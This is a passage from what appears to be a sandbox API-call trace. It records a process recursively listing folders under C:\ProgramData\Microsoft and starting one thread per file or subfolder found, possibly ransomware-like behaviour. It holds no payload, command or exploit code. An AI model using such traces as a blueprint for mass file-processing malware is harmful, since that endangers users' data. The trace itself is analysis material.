lpFindFileData=0x4b8800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.005] wcscmp (_String1="..", _String2=".") returned 1 [0056.006] wcscmp (_String1="..", _String2="..") returned 0 [0056.006] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0056.006] wcscmp (_String1="ApplicationViewsRootNode", _String2=".") returned 1 [0056.006] wcscmp (_String1="ApplicationViewsRootNode", _String2="..") returned 1 [0056.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x438d70 [0056.006] wcscpy (in: _Dest=0x438d70, _Source="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0056.006] wcscat (in: _Dest=0x438d70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\" [0056.006] wcscat (in: _Dest=0x438d70, _Source="ApplicationViewsRootNode" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0065.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x438d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0065.412] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0065.412] FindClose (in: hFindFile=0x4408e0 | out: hFindFile=0x4408e0) returned 1 [0065.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8800) returned 1 [0065.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d4c0) returned 1 [0065.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a670) returned 1 Thread: id = 991 os_tid = 0x135c [0056.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437940 [0056.006] wcscpy (in: _Dest=0x437940, _Source="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" [0056.006] wcscat (in: _Dest=0x437940, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\" [0056.006] wcscat (in: _Dest=0x437940, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*" [0056.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4bac18 [0056.006] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440820 [0056.007] wcscmp (_String1=".", _String2=".") returned 0 [0056.007] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.007] wcscmp (_String1="..", _String2=".") returned 1 [0056.007] wcscmp (_String1="..", _String2="..") returned 0 [0056.007] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0056.007] FindClose (in: hFindFile=0x440820 | out: hFindFile=0x440820) returned 1 [0056.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4bac18) returned 1 [0056.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437940) returned 1 [0056.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43bf78) returned 1 Thread: id = 992 os_tid = 0x1360 [0056.008] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44aa30 [0056.008] wcscpy (in: _Dest=0x44aa30, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0056.008] wcscat (in: _Dest=0x44aa30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\" [0056.008] wcscat (in: _Dest=0x44aa30, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*" [0056.008] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4bac18 [0056.008] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440c20 [0060.735] wcscmp (_String1=".", _String2=".") returned 0 [0060.735] FindNextFileW (in: hFindFile=0x440c20, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.735] wcscmp (_String1="..", _String2=".") returned 1 [0060.735] wcscmp (_String1="..", _String2="..") returned 0 [0060.735] FindNextFileW (in: hFindFile=0x440c20, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="ACTIVI~1")) returned 1 [0060.735] wcscmp (_String1="ActivityLog", _String2=".") returned 1 [0060.735] wcscmp (_String1="ActivityLog", _String2="..") returned 1 [0060.735] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418aa0 [0060.735] wcscpy (in: _Dest=0x418aa0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0060.735] wcscat (in: _Dest=0x418aa0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\" [0060.735] wcscat (in: _Dest=0x418aa0, _Source="ActivityLog" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog" Thread: id = 993 os_tid = 0x1364 [0056.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48d0b0 [0056.009] wcscpy (in: _Dest=0x48d0b0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" [0056.009] wcscat (in: _Dest=0x48d0b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\" [0056.009] wcscat (in: _Dest=0x48d0b0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*" [0056.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba010 [0056.009] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a62a0 [0060.805] wcscmp (_String1=".", _String2=".") returned 0 [0060.805] FindNextFileW (in: hFindFile=0x4a62a0, lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.805] wcscmp (_String1="..", _String2=".") returned 1 [0060.806] wcscmp (_String1="..", _String2="..") returned 0 [0060.806] FindNextFileW (in: hFindFile=0x4a62a0, lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 1 [0060.806] wcscmp (_String1="WelcomeScan.jpg", _String2=".") returned 1 [0060.806] wcscmp (_String1="WelcomeScan.jpg", _String2="..") returned 1 [0060.806] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45e5b8 [0060.806] wcscpy (in: _Dest=0x45e5b8, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" [0060.806] wcscat (in: _Dest=0x45e5b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\" [0060.806] wcscat (in: _Dest=0x45e5b8, _Source="WelcomeScan.jpg" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" [0065.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e5b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0065.812] FindNextFileW (in: hFindFile=0x4a62a0, lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0 [0065.812] FindClose (in: hFindFile=0x4a62a0 | out: hFindFile=0x4a62a0) returned 1 [0065.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba010) returned 1 [0065.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d0b0) returned 1 [0065.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44aaf0) returned 1 Thread: id = 994 os_tid = 0x1368 [0056.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414780 [0056.009] wcscpy (in: _Dest=0x414780, _Source="C:\\ProgramData\\Microsoft\\Search\\Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data" [0056.009] wcscat (in: _Dest=0x414780, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\" [0056.009] wcscat (in: _Dest=0x414780, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\*" [0056.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b91a0 [0056.010] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440820 [0056.010] wcscmp (_String1=".", _String2=".") returned 0 [0056.010] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.010] wcscmp (_String1="..", _String2=".") returned 1 [0056.010] wcscmp (_String1="..", _String2="..") returned 0 [0056.010] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0056.010] wcscmp (_String1="Applications", _String2=".") returned 1 [0056.010] wcscmp (_String1="Applications", _String2="..") returned 1 [0056.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421188 [0056.010] wcscpy (in: _Dest=0x421188, _Source="C:\\ProgramData\\Microsoft\\Search\\Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data" [0056.010] wcscat (in: _Dest=0x421188, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\" [0056.010] wcscat (in: _Dest=0x421188, _Source="Applications" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" [0065.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0065.413] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0065.413] wcscmp (_String1="Temp", _String2=".") returned 1 [0065.413] wcscmp (_String1="Temp", _String2="..") returned 1 [0065.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a670 [0065.413] wcscpy (in: _Dest=0x44a670, _Source="C:\\ProgramData\\Microsoft\\Search\\Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data" [0065.413] wcscat (in: _Dest=0x44a670, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\" [0065.413] wcscat (in: _Dest=0x44a670, _Source="Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp" [0065.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c4 [0065.415] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0065.415] FindClose (in: hFindFile=0x440820 | out: hFindFile=0x440820) returned 1 [0065.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b91a0) returned 1 [0065.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414780) returned 1 [0065.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413f40) returned 1 Thread: id = 995 os_tid = 0x136c [0056.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x48d868 [0056.011] wcscpy (in: _Dest=0x48d868, _Source="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections" [0056.011] wcscat (in: _Dest=0x48d868, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\" [0056.011] wcscat (in: _Dest=0x48d868, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\*" [0056.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e056f8 [0056.011] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440360 [0056.011] wcscmp (_String1=".", _String2=".") returned 0 [0056.011] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.011] wcscmp (_String1="..", _String2=".") returned 1 [0056.011] wcscmp (_String1="..", _String2="..") returned 0 [0056.011] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0056.011] FindClose (in: hFindFile=0x440360 | out: hFindFile=0x440360) returned 1 [0056.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e056f8) returned 1 [0056.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d868) returned 1 [0056.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48cfe0) returned 1 Thread: id = 996 os_tid = 0x1370 [0056.013] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48cfe0 [0056.013] wcscpy (in: _Dest=0x48cfe0, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader" [0056.013] wcscat (in: _Dest=0x48cfe0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" [0056.013] wcscat (in: _Dest=0x48cfe0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*" [0056.013] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e056f8 [0056.013] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440360 [0056.013] wcscmp (_String1=".", _String2=".") returned 0 [0056.013] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.013] wcscmp (_String1="..", _String2=".") returned 1 [0056.013] wcscmp (_String1="..", _String2="..") returned 0 [0056.014] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xe0118910, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1 [0056.014] wcscmp (_String1="qmgr0.dat", _String2=".") returned 1 [0056.014] 